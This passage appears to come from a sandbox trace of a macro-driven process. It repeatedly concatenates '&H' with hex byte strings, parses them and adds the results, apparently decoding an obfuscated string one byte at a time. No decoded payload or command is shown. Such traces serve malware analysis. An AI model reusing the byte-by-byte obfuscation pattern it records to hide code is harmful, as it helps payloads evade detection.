pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.933] VarBstrCat (in: bstrLeft="&H", bstrRight="6F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.933] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.933] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.933] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.934] VarBstrCat (in: bstrLeft="&H", bstrRight="6F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.934] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.934] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.934] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.934] VarBstrCat (in: bstrLeft="&H", bstrRight="17", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.934] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.934] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.934] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.934] VarBstrCat (in: bstrLeft="&H", bstrRight="29", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.934] VarParseNumFromStr (in: strIn="&H29", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.934] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.934] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.934] VarBstrCat (in: bstrLeft="&H", bstrRight="26", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.934] VarParseNumFromStr (in: strIn="&H26", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.934] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.935] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.935] VarBstrCat (in: bstrLeft="&H", bstrRight="39", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.935] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.935] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.935] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.935] VarBstrCat (in: bstrLeft="&H", bstrRight="2A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.935] VarParseNumFromStr (in: strIn="&H2A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.935] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.935] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.935] VarBstrCat (in: bstrLeft="&H", bstrRight="38", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.935] VarParseNumFromStr (in: strIn="&H38", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.935] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.935] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.935] VarBstrCat (in: bstrLeft="&H", bstrRight="30", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.936] VarParseNumFromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.936] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.936] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.936] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.936] VarParseNumFromStr (in: strIn="&H2F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.936] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.936] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.936] VarBstrCat (in: bstrLeft="&H", bstrRight="0D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.936] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.936] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.936] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.936] VarBstrCat (in: bstrLeft="&H", bstrRight="25", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.936] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.936] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.936] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.937] VarBstrCat (in: bstrLeft="&H", bstrRight="2D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.937] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.937] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.937] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.937] VarBstrCat (in: bstrLeft="&H", bstrRight="29", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.937] VarParseNumFromStr (in: strIn="&H29", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.937] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.937] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.937] VarBstrCat (in: bstrLeft="&H", bstrRight="62", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.937] VarParseNumFromStr (in: strIn="&H62", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.937] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.937] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.937] VarBstrCat (in: bstrLeft="&H", bstrRight="74", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.937] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.937] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.938] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.938] VarBstrCat (in: bstrLeft="&H", bstrRight="2E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.938] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.938] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.938] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.938] VarBstrCat (in: bstrLeft="&H", bstrRight="30", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.938] VarParseNumFromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.938] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.938] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.938] VarBstrCat (in: bstrLeft="&H", bstrRight="27", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.938] VarParseNumFromStr (in: strIn="&H27", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.938] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.938] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.938] VarBstrCat (in: bstrLeft="&H", bstrRight="31", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.939] VarParseNumFromStr (in: strIn="&H31", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.939] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.939] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.939] VarBstrCat (in: bstrLeft="&H", bstrRight="7C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.939] VarParseNumFromStr (in: strIn="&H7C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.939] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.939] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.939] VarBstrCat (in: bstrLeft="&H", bstrRight="6E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.939] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.939] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.939] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.939] VarBstrCat (in: bstrLeft="&H", bstrRight="7C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.939] VarParseNumFromStr (in: strIn="&H7C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.939] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.940] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.940] VarBstrCat (in: bstrLeft="&H", bstrRight="35", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.940] VarParseNumFromStr (in: strIn="&H35", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.940] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.940] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.940] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.940] VarParseNumFromStr (in: strIn="&H34", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.940] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.940] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.940] VarBstrCat (in: bstrLeft="&H", bstrRight="21", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.940] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.940] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.940] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.940] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.940] VarParseNumFromStr (in: strIn="&H2F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.941] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.941] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.941] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.941] VarParseNumFromStr (in: strIn="&H34", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.941] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.941] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.941] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.941] VarParseNumFromStr (in: strIn="&H34", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.941] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.941] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.941] VarBstrCat (in: bstrLeft="&H", bstrRight="65", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.941] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.941] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.941] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.942] VarBstrCat (in: bstrLeft="&H", bstrRight="2E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.942] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.942] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.942] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.942] VarBstrCat (in: bstrLeft="&H", bstrRight="39", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.942] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.942] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.942] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.942] VarBstrCat (in: bstrLeft="&H", bstrRight="74", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.942] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.942] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.943] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.943] VarBstrCat (in: bstrLeft="&H", bstrRight="62", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.943] VarParseNumFromStr (in: strIn="&H62", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.943] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.943] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.943] VarBstrCat (in: bstrLeft="&H", bstrRight="25", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.944] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.944] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.944] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.944] VarBstrCat (in: bstrLeft="&H", bstrRight="21", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.944] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.944] VarBstrCat (in: bstrLeft="&H", bstrRight="21", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.944] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.944] VarBstrCat (in: bstrLeft="&H", bstrRight="6B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.944] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.944] VarBstrCat (in: bstrLeft="&H", bstrRight="30", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.944] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.944] VarBstrCat (in: bstrLeft="&H", bstrRight="2D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.944] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.945] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.945] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.945] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.945] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.945] VarBstrCat (in: bstrLeft="&H", bstrRight="3D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.945] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.945] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.945] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.945] VarBstrCat (in: bstrLeft="&H", bstrRight="7F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.945] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.945] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.945] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.945] VarBstrCat (in: bstrLeft="&H", bstrRight="3E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.945] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.946] VarBstrCat (in: bstrLeft="&H", bstrRight="32", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.946] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.946] VarBstrCat (in: bstrLeft="&H", bstrRight="76", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.946] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.946] VarBstrCat (in: bstrLeft="&H", bstrRight="67", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.946] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.946] VarBstrCat (in: bstrLeft="&H", bstrRight="6F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.946] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.946] VarBstrCat (in: bstrLeft="&H", bstrRight="29", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.946] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.946] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.946] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.946] VarBstrCat (in: bstrLeft="&H", bstrRight="3A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.946] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.947] VarBstrCat (in: bstrLeft="&H", bstrRight="70", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.947] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.947] VarBstrCat (in: bstrLeft="&H", bstrRight="07", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.947] VarAdd (in: 